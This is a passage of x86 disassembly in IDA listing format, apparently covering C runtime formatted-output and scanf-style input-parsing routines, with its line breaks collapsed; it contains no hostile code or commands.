eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_40DF0F add esp, 10h test bl, 8 jz short loc_40DDFC test bl, 4 jnz short loc_40DDFC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_40DEDE add esp, 10h loc_40DDFC: ; CODE XREF: sub_40D768+67Bj ; sub_40D768+680j cmp [ebp+var_24], 0 jz short loc_40DE43 cmp [ebp+var_C], 0 jle short loc_40DE43 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_40DE11: ; CODE XREF: sub_40D768+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_413460 pop ecx test eax, eax pop ecx jle short loc_40DE58 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_40DF0F add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_40DE11 jmp short loc_40DE58 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D768+698j ; sub_40D768+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_40DF0F add esp, 10h loc_40DE58: ; CODE XREF: sub_40D768+6BCj ; sub_40D768+6D9j test byte ptr [ebp+var_4], 4 jz short loc_40DE70 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_40DEDE add esp, 10h loc_40DE70: ; CODE XREF: sub_40D768+68j ; sub_40D768+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_40D794 loc_40DE81: ; CODE XREF: sub_40D768+1Fj ; sub_40D768+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_40D768 endp ; --------------------------------------------------------------------------- off_40DE89 dd offset loc_40D907 ; DATA XREF: sub_40D768+6Er dd offset loc_40D7DD ; jump table for switch statement dd offset loc_40D7F8 dd offset loc_40D844 dd offset loc_40D87B dd offset loc_40D883 dd offset loc_40D8B8 dd offset loc_40D94B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DEA9 proc near ; CODE XREF: sub_40D768+1BDp ; sub_40D768+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_40DEC2 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_40DECD ; --------------------------------------------------------------------------- loc_40DEC2: ; CODE XREF: sub_40DEA9+9j push ecx push [ebp+arg_0] call sub_40D653 pop ecx pop ecx loc_40DECD: ; CODE XREF: sub_40DEA9+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_40DEDA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_40DEDA: ; CODE XREF: sub_40DEA9+2Aj inc dword ptr [eax] pop ebp retn sub_40DEA9 endp ; =============== S U B R O U T I N E ======================================= sub_40DEDE proc near ; CODE XREF: sub_40D768+65Ap ; sub_40D768+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_40DF0C mov esi, [esp+8+arg_C] loc_40DEEF: ; CODE XREF: sub_40DEDE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_40DEA9 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_40DF0C mov eax, edi dec edi test eax, eax jg short loc_40DEEF loc_40DF0C: ; CODE XREF: sub_40DEDE+Bj ; sub_40DEDE+25j pop edi pop esi retn sub_40DEDE endp ; =============== S U B R O U T I N E ======================================= sub_40DF0F proc near ; CODE XREF: sub_40D768+670p ; sub_40D768+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_40DF43 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_40DF25: ; CODE XREF: sub_40DF0F+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_40DEA9 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_40DF43 mov eax, ebx dec ebx test eax, eax jg short loc_40DF25 loc_40DF43: ; CODE XREF: sub_40DF0F+Cj ; sub_40DF0F+2Bj pop edi pop esi pop ebx retn sub_40DF0F endp ; =============== S U B R O U T I N E ======================================= sub_40DF47 proc near ; CODE XREF: sub_40D768+E5p ; sub_40D768+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_40DF47 endp ; =============== S U B R O U T I N E ======================================= sub_40DF54 proc near ; CODE XREF: sub_40D768+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_40DF54 endp ; =============== S U B R O U T I N E ======================================= sub_40DF64 proc near ; CODE XREF: sub_40D768+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_40DF64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF72 proc near ; CODE XREF: sub_40B56D+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_40E978 mov edi, [ebp+arg_0] jmp short loc_40DFA1 ; --------------------------------------------------------------------------- loc_40DF9C: ; CODE XREF: sub_40DF72+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_40DFA1: ; CODE XREF: sub_40DF72+28j cmp dword_41FF84, 1 jle short loc_40DFB9 movzx eax, al push 8 push eax call sub_4114D9 pop ecx pop ecx jmp short loc_40DFC8 ; --------------------------------------------------------------------------- loc_40DFB9: ; CODE XREF: sub_40DF72+36j mov ecx, off_41FD78 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_40DFC8: ; CODE XREF: sub_40DF72+45j cmp eax, ebx jz short loc_40E002 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_40E9FF pop ecx pop ecx push eax call sub_40E9E8 movzx eax, byte ptr [esi+1] inc esi push eax call sub_413590 add esp, 0Ch loc_40DFF0: ; CODE XREF: sub_40DF72+8Ej test eax, eax jz short loc_40E002 movzx eax, byte ptr [esi+1] inc esi push eax call sub_413590 pop ecx jmp short loc_40DFF0 ; --------------------------------------------------------------------------- loc_40E002: ; CODE XREF: sub_40DF72+58j ; sub_40DF72+80j cmp byte ptr [esi], 25h jnz loc_40E8E4 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_40E039: ; CODE XREF: sub_40DF72+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_41FF84, 1 jle short loc_40E056 movzx eax, bl push 4 push eax call sub_4114D9 pop ecx pop ecx jmp short loc_40E065 ; --------------------------------------------------------------------------- loc_40E056: ; CODE XREF: sub_40DF72+D3j mov ecx, off_41FD78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_40E065: ; CODE XREF: sub_40DF72+E2j test eax, eax jz short loc_40E07B mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_40E0E0 ; --------------------------------------------------------------------------- loc_40E07B: ; CODE XREF: sub_40DF72+F5j cmp ebx, 4Eh jg short loc_40E0BE jz short loc_40E0E0 cmp ebx, 2Ah jz short loc_40E0B9 cmp ebx, 46h jz short loc_40E0E0 cmp ebx, 49h jz short loc_40E09B cmp ebx, 4Ch jnz short loc_40E0CD inc [ebp+var_D] jmp short loc_40E0E0 ; --------------------------------------------------------------------------- loc_40E09B: ; CODE XREF: sub_40DF72+11Dj cmp byte ptr [esi+1], 36h jnz short loc_40E0CD cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_40E0CD inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_40E0E0 ; --------------------------------------------------------------------------- loc_40E0B9: ; CODE XREF: sub_40DF72+113j inc [ebp+var_E] jmp short loc_40E0E0 ; --------------------------------------------------------------------------- loc_40E0BE: ; CODE XREF: sub_40DF72+10Cj cmp ebx, 68h jz short loc_40E0DA cmp ebx, 6Ch jz short loc_40E0D2 cmp ebx, 77h jz short loc_40E0D5 loc_40E0CD: ; CODE XREF: sub_40DF72+122j ; sub_40DF72+12Dj ... inc [ebp+var_F] jmp short loc_40E0E0 ; --------------------------------------------------------------------------- loc_40E0D2: ; CODE XREF: sub_40DF72+154j inc [ebp+var_D] loc_40E0D5: ; CODE XREF: sub_40DF72+159j inc [ebp+var_5] jmp short loc_40E0E0 ; --------------------------------------------------------------------------- loc_40E0DA: ; CODE XREF: sub_40DF72+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_40E0E0: ; CODE XREF: sub_40DF72+107j ; sub_40DF72+10Ej ... cmp [ebp+var_F], 0 jz loc_40E039 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_40E105 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_40E105: ; CODE XREF: sub_40DF72+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_40E123 mov al, [esi] cmp al, 53h jz short loc_40E11F cmp al, 43h jz short loc_40E11F or [ebp+var_5], 0FFh jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E11F: ; CODE XREF: sub_40DF72+1A1j ; sub_40DF72+1A5j mov [ebp+var_5], 1 loc_40E123: ; CODE XREF: sub_40DF72+19Bj ; sub_40DF72+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_40E15C cmp esi, 63h jz short loc_40E14D cmp esi, 7Bh jz short loc_40E14D push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_40E9FF pop ecx jmp short loc_40E158 ; --------------------------------------------------------------------------- loc_40E14D: ; CODE XREF: sub_40DF72+1C5j ; sub_40DF72+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_40E9CE loc_40E158: ; CODE XREF: sub_40DF72+1D9j pop ecx mov [ebp+var_14], eax loc_40E15C: ; CODE XREF: sub_40DF72+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_40E16C cmp [ebp+var_C], eax jz loc_40E948 loc_40E16C: ; CODE XREF: sub_40DF72+1EFj cmp esi, 6Fh jg loc_40E3D3 jz loc_40E685 cmp esi, 63h jz loc_40E3B0 cmp esi, 64h jz loc_40E685 jle loc_40E3FD cmp esi, 67h jle short loc_40E1D0 cmp esi, 69h jz short loc_40E1B8 cmp esi, 6Eh jnz loc_40E3FD cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_40E8B3 jmp loc_40E8D9 ; --------------------------------------------------------------------------- loc_40E1B8: ; CODE XREF: sub_40DF72+229j push 64h pop esi loc_40E1BB: ; CODE XREF: sub_40DF72+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_40E445 mov [ebp+var_17], 1 jmp loc_40E44A ; --------------------------------------------------------------------------- loc_40E1D0: ; CODE XREF: sub_40DF72+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_40E1EC mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_40E1F1 ; --------------------------------------------------------------------------- loc_40E1EC: ; CODE XREF: sub_40DF72+26Aj cmp ebx, 2Bh jnz short loc_40E208 loc_40E1F1: ; CODE XREF: sub_40DF72+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_40E9CE mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_40E20B ; --------------------------------------------------------------------------- loc_40E208: ; CODE XREF: sub_40DF72+27Dj mov edi, [ebp+arg_0] loc_40E20B: ; CODE XREF: sub_40DF72+294j cmp [ebp+var_20], 0 jz short loc_40E21A cmp [ebp+var_C], 15Dh jle short loc_40E221 loc_40E21A: ; CODE XREF: sub_40DF72+29Dj mov [ebp+var_C], 15Dh loc_40E221: ; CODE XREF: sub_40DF72+2A6j ; sub_40DF72+2F2j cmp dword_41FF84, 1 jle short loc_40E236 push 4 push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_40E241 ; --------------------------------------------------------------------------- loc_40E236: ; CODE XREF: sub_40DF72+2B6j mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, 4 loc_40E241: ; CODE XREF: sub_40DF72+2C2j test eax, eax jz short loc_40E266 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40E266 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_40E9CE mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_40E221 ; --------------------------------------------------------------------------- loc_40E266: ; CODE XREF: sub_40DF72+2D1j ; sub_40DF72+2DBj cmp byte_41FF88, bl jnz short loc_40E2D4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40E2D4 inc [ebp+var_4] push edi call sub_40E9CE mov ebx, eax mov al, byte_41FF88 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_40E28F: ; CODE XREF: sub_40DF72+360j cmp dword_41FF84, 1 jle short loc_40E2A4 push 4 push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_40E2AF ; --------------------------------------------------------------------------- loc_40E2A4: ; CODE XREF: sub_40DF72+324j mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, 4 loc_40E2AF: ; CODE XREF: sub_40DF72+330j test eax, eax jz short loc_40E2D4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40E2D4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_40E9CE mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_40E28F ; --------------------------------------------------------------------------- loc_40E2D4: ; CODE XREF: sub_40DF72+2FAj ; sub_40DF72+304j ... cmp [ebp+var_1C], 0 jz loc_40E36C cmp ebx, 65h jz short loc_40E2EC cmp ebx, 45h jnz loc_40E36C loc_40E2EC: ; CODE XREF: sub_40DF72+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40E36C mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_40E9CE mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_40E313 mov [esi], al inc esi jmp short loc_40E318 ; --------------------------------------------------------------------------- loc_40E313: ; CODE XREF: sub_40DF72+39Aj cmp ebx, 2Bh jnz short loc_40E336 loc_40E318: ; CODE XREF: sub_40DF72+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_40E327 and [ebp+var_C], eax jmp short loc_40E336 ; --------------------------------------------------------------------------- loc_40E327: ; CODE XREF: sub_40DF72+3AEj ; sub_40DF72+3F8j inc [ebp+var_4] push edi call sub_40E9CE mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_40E336: ; CODE XREF: sub_40DF72+3A4j ; sub_40DF72+3B3j cmp dword_41FF84, 1 jle short loc_40E34B push 4 push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_40E356 ; --------------------------------------------------------------------------- loc_40E34B: ; CODE XREF: sub_40DF72+3CBj mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, 4 loc_40E356: ; CODE XREF: sub_40DF72+3D7j test eax, eax jz short loc_40E36C mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_40E36C inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_40E327 ; --------------------------------------------------------------------------- loc_40E36C: ; CODE XREF: sub_40DF72+366j ; sub_40DF72+374j ... dec [ebp+var_4] push edi push ebx call sub_40E9E8 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_40E978 cmp [ebp+var_E], 0 jnz loc_40E8D9 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_41FD58 add esp, 0Ch jmp loc_40E8D9 ; --------------------------------------------------------------------------- loc_40E3B0: ; CODE XREF: sub_40DF72+20Cj cmp [ebp+var_20], eax jnz short loc_40E3BF inc [ebp+var_C] mov [ebp+var_20], 1 loc_40E3BF: ; CODE XREF: sub_40DF72+441j cmp [ebp+var_5], 0 jle short loc_40E3C9 mov [ebp+var_16], 1 loc_40E3C9: ; CODE XREF: sub_40DF72+451j mov edi, offset dword_41DC08 jmp loc_40E4DE ; --------------------------------------------------------------------------- loc_40E3D3: ; CODE XREF: sub_40DF72+1FDj mov eax, esi sub eax, 70h jz loc_40E681 sub eax, 3 jz loc_40E4CF dec eax dec eax jz loc_40E685 sub eax, 3 jz loc_40E1BB sub eax, 3 jz short loc_40E421 loc_40E3FD: ; CODE XREF: sub_40DF72+21Bj ; sub_40DF72+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_40E948 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_40E8D9 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_40E8D9 ; --------------------------------------------------------------------------- loc_40E421: ; CODE XREF: sub_40DF72+489j cmp [ebp+var_5], 0 jle short loc_40E42B mov [ebp+var_16], 1 loc_40E42B: ; CODE XREF: sub_40DF72+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_40E4E2 mov eax, edi lea edi, [eax+1] jmp loc_40E4DE ; --------------------------------------------------------------------------- loc_40E445: ; CODE XREF: sub_40DF72+24Fj cmp ebx, 2Bh jnz short loc_40E46C loc_40E44A: ; CODE XREF: sub_40DF72+259j dec [ebp+var_C] jnz short loc_40E45B cmp [ebp+var_20], 0 jz short loc_40E45B mov [ebp+var_F], 1 jmp short loc_40E46C ; --------------------------------------------------------------------------- loc_40E45B: ; CODE XREF: sub_40DF72+4DBj ; sub_40DF72+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_40E9CE mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_40E46C: ; CODE XREF: sub_40DF72+4D6j ; sub_40DF72+4E7j cmp ebx, 30h jnz loc_40E6BA push [ebp+arg_0] inc [ebp+var_4] call sub_40E9CE mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_40E4BA cmp bl, 58h jz short loc_40E4BA cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_40E4A4 push 6Fh loc_40E49E: ; CODE XREF: sub_40DF72+55Bj pop esi jmp loc_40E6BA ; --------------------------------------------------------------------------- loc_40E4A4: ; CODE XREF: sub_40DF72+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_40E9E8 pop ecx pop ecx push 30h pop ebx jmp loc_40E6B7 ; --------------------------------------------------------------------------- loc_40E4BA: ; CODE XREF: sub_40DF72+517j ; sub_40DF72+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_40E9CE pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_40E49E ; --------------------------------------------------------------------------- loc_40E4CF: ; CODE XREF: sub_40DF72+46Fj cmp [ebp+var_5], 0 jle short loc_40E4D9 mov [ebp+var_16], 1 loc_40E4D9: ; CODE XREF: sub_40DF72+561j mov edi, offset dword_41DC00 loc_40E4DE: ; CODE XREF: sub_40DF72+45Cj ; sub_40DF72+4CEj or [ebp+var_18], 0FFh loc_40E4E2: ; CODE XREF: sub_40DF72+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_40B630 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_40E506 cmp byte ptr [edi], 5Dh jnz short loc_40E506 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_40E509 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40DF72+584j ; sub_40DF72+589j mov dl, [ebp+var_35] loc_40E509: ; CODE XREF: sub_40DF72+592j ; sub_40DF72+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_40E56E inc edi cmp al, 2Dh jnz short loc_40E555 test dl, dl jz short loc_40E555 mov cl, [edi] cmp cl, 5Dh jz short loc_40E555 inc edi cmp dl, cl jnb short loc_40E528 mov al, cl jmp short loc_40E52C ; --------------------------------------------------------------------------- loc_40E528: ; CODE XREF: sub_40DF72+5B0j mov al, dl mov dl, cl loc_40E52C: ; CODE XREF: sub_40DF72+5B4j cmp dl, al ja short loc_40E551 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_40E539: ; CODE XREF: sub_40DF72+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_40E539 loc_40E551: ; CODE XREF: sub_40DF72+5BCj xor dl, dl jmp short loc_40E509 ; --------------------------------------------------------------------------- loc_40E555: ; CODE XREF: sub_40DF72+5A0j ; sub_40DF72+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_40E509 ; --------------------------------------------------------------------------- loc_40E56E: ; CODE XREF: sub_40DF72+59Bj cmp byte ptr [edi], 0 jz loc_40E978 cmp [ebp+var_3C], 7Bh jnz short loc_40E580 mov [ebp+arg_4], edi loc_40E580: ; CODE XREF: sub_40DF72+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_40E9E8 pop ecx pop ecx loc_40E597: ; CODE XREF: sub_40DF72+6BCj ; sub_40DF72+6C4j cmp [ebp+var_20], 0 jz short loc_40E5AB mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_40E647 loc_40E5AB: ; CODE XREF: sub_40DF72+629j inc [ebp+var_4] push edi call sub_40E9CE cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_40E63B mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_40E63B cmp [ebp+var_E], 0 jnz short loc_40E633 cmp [ebp+var_16], 0 jz short loc_40E628 mov ecx, off_41FD78 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_40E607 inc [ebp+var_4] push edi call sub_40E9CE pop ecx mov [ebp+var_37], al loc_40E607: ; CODE XREF: sub_40DF72+686j push dword_41FF84 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4134C8 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_40E62B ; --------------------------------------------------------------------------- loc_40E628: ; CODE XREF: sub_40DF72+673j mov [esi], al inc esi loc_40E62B: ; CODE XREF: sub_40DF72+6B4j mov [ebp+var_2C], esi jmp loc_40E597 ; --------------------------------------------------------------------------- loc_40E633: ; CODE XREF: sub_40DF72+66Dj inc [ebp+var_30] jmp loc_40E597 ; --------------------------------------------------------------------------- loc_40E63B: ; CODE XREF: sub_40DF72+649j ; sub_40DF72+667j dec [ebp+var_4] push edi push eax call sub_40E9E8 pop ecx pop ecx loc_40E647: ; CODE XREF: sub_40DF72+633j cmp [ebp+var_30], esi jz loc_40E978 cmp [ebp+var_E], 0 jnz loc_40E8D9 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_40E8D9 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_40E679 and word ptr [eax], 0 jmp loc_40E8D9 ; --------------------------------------------------------------------------- loc_40E679: ; CODE XREF: sub_40DF72+6FCj and byte ptr [eax], 0 jmp loc_40E8D9 ; --------------------------------------------------------------------------- loc_40E681: ; CODE XREF: sub_40DF72+466j mov [ebp+var_D], 1 loc_40E685: ; CODE XREF: sub_40DF72+203j ; sub_40DF72+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_40E693 mov [ebp+var_17], 1 jmp short loc_40E698 ; --------------------------------------------------------------------------- loc_40E693: ; CODE XREF: sub_40DF72+719j cmp ebx, 2Bh jnz short loc_40E6BA loc_40E698: ; CODE XREF: sub_40DF72+71Fj dec [ebp+var_C] jnz short loc_40E6A9 cmp [ebp+var_20], 0 jz short loc_40E6A9 mov [ebp+var_F], 1 jmp short loc_40E6BA ; --------------------------------------------------------------------------- loc_40E6A9: ; CODE XREF: sub_40DF72+729j ; sub_40DF72+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_40E9CE pop ecx mov ebx, eax loc_40E6B7: ; CODE XREF: sub_40DF72+543j mov [ebp+var_14], ebx loc_40E6BA: ; CODE XREF: sub_40DF72+4FDj ; sub_40DF72+52Dj ... cmp [ebp+var_30], 0 jz loc_40E7D3 cmp [ebp+var_F], 0 jnz loc_40E7B1 loc_40E6CE: ; CODE XREF: sub_40DF72+82Cj cmp esi, 78h jnz short loc_40E722 cmp dword_41FF84, 1 jle short loc_40E6EB push 80h push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_40E6F8 ; --------------------------------------------------------------------------- loc_40E6EB: ; CODE XREF: sub_40DF72+768j mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, 80h loc_40E6F8: ; CODE XREF: sub_40DF72+777j test eax, eax jz loc_40E7A3 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4135C0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_40E997 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_40E775 ; --------------------------------------------------------------------------- loc_40E722: ; CODE XREF: sub_40DF72+75Fj cmp dword_41FF84, 1 jle short loc_40E737 push 4 push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_40E742 ; --------------------------------------------------------------------------- loc_40E737: ; CODE XREF: sub_40DF72+7B7j mov eax, off_41FD78 mov al, [eax+ebx*2] and eax, 4 loc_40E742: ; CODE XREF: sub_40DF72+7C3j test eax, eax jz short loc_40E7A3 cmp esi, 6Fh jnz short loc_40E760 cmp ebx, 38h jge short loc_40E7A3 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4135C0 jmp short loc_40E76F ; --------------------------------------------------------------------------- loc_40E760: ; CODE XREF: sub_40DF72+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_411550 loc_40E76F: ; CODE XREF: sub_40DF72+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_40E775: ; CODE XREF: sub_40DF72+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_40E78D dec [ebp+var_C] jz short loc_40E7B1 loc_40E78D: ; CODE XREF: sub_40DF72+814j push [ebp+arg_0] inc [ebp+var_4] call sub_40E9CE mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_40E6CE ; --------------------------------------------------------------------------- loc_40E7A3: ; CODE XREF: sub_40DF72+788j ; sub_40DF72+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_40E9E8 pop ecx pop ecx loc_40E7B1: ; CODE XREF: sub_40DF72+756j ; sub_40DF72+819j cmp [ebp+var_17], 0 jz loc_40E897 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_40E897 ; --------------------------------------------------------------------------- loc_40E7D3: ; CODE XREF: sub_40DF72+74Cj cmp [ebp+var_F], 0 jnz loc_40E88F loc_40E7DD: ; CODE XREF: sub_40DF72+90Aj cmp esi, 78h jz short loc_40E821 cmp esi, 70h jz short loc_40E821 cmp dword_41FF84, 1 jle short loc_40E7FC push 4 push ebx call sub_4114D9 pop ecx pop ecx jmp short loc_40E807 ; --------------------------------------------------------------------------- loc_40E7FC: ; CODE XREF: 